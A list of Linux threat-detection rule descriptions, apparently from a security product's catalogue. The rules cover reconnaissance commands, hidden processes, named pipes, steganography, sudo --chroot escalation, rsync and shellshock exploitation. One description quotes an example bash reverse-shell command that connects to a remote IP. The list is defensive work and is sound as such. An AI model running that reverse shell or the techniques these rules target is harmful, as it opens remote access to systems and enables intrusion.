Every published rule

This rule detects program executions in anomalous non-program folders related to malware or hacking behavior

This rule detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high use of screenshot utilities on user workstations

This rule detects events with patterns found in commands used for reconnaissance on linux systems

This rule detects execution of the "mount" command with "hidepid" parameter to make invisible processes to other users from the system

This rule detects the creation of a new named pipe using the "mkfifo" utility in a potentially anomalous location

This rule detects anomalous VSFTPD error messages that indicate a fatal or anomalous error that could be caused by exploiting attempts

This rule detects the creation of a new named pipe using the "mkfifo" utility

This rule detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is frequently linked with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

This rule detects extraction of files with use of steghide binary, the threat actors may use this method to prevent the detection of hidden information.

This rule detects execution of shells from a parent process located in a temporary (/tmp) directory

This rule detects common command used to enable bpf kprobes tracing

This rule detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

This rule detects the use of the "capsh" utility to invoke a shell.

This rule detects the execution of host or user discovery utilities such as "whoami", "hostname", "id", etc. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

This rule detects execution of the "esxcli" command with the "vm" flag to retrieve information about the installed VMs.

This rule detects appending of zip file to image

This rule detects anomalous command sequence that JexBoss

This rule detects the doas tool execution in linux host platform. This utility tool enable standard users to perform tasks as root, the same way sudo does.

This rule detects the execution of 'sudo' command with '--chroot' option, which is leveraged to change the root directory for command execution. Attackers may use this method to evade detection and execute commands in a modified environment. This can be part of a privilege escalation strategy, as it enables the execution of commands with elevated privileges in a controlled environment as seen in CVE-2025-32463. While investigating, look out for unusual or unexpected use of 'sudo --chroot' in conjunction with other commands or scripts such as execution from temporary directories or unusual user accounts.

This rule detects shellshock expressions in log files